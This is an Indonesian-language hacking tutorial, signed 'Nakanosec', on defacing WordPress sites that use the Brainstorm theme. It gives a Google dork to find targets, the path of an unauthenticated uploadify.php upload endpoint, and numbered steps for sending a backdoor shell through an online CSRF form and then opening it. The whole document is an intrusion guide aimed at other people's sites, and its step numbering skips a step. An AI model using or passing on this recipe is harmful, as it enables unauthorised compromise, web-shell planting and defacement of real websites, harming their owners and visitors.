Tutorial - Cara Deface Poc WP themes Brainstrom Shell Upload

Keyword : Deface Wordpress, Deface Wp, Deface Poc Wp themes, Deface Wp themes brainstrom, Upload Shell Wordpress, Upload backdoor, Deface Wordpress terbaru, Deface wp-content


Dork :

inurl:/wp-content/themes/brainstorm/

Exploit :

www.target.com/wp-content/themes/brainstorm/functions/jwpanel/scripts/uploadify/uploadify.php


Tutorial :

1.Cari Target yang vuln menggunakan Dork diatas

2.Pastekan Exploit dibelakang domain target

Contoh: 

• http://info.nakanosec.com/wp-content/themes/brainstorm/functions/jwpanel/scripts/uploadify/uploadify.php

*Penampakan ciri-ciri jika target vulnerable adalah blank seperti diatas

4.Pergi Ke csrf Online dan Isikan Url tadi, Isi tipe post file dengan Filedata atau Filedata[] 

.

5.Kemudian Pilih shell backdoor milik kalian dan Klik upload

6.Ketika berhasil upload maka web akan menampilkan link seperti berikut

7.Ketika kalian membuka link tersebut maka akan mendapat tampilan shell backdoor kalian

Nakanosec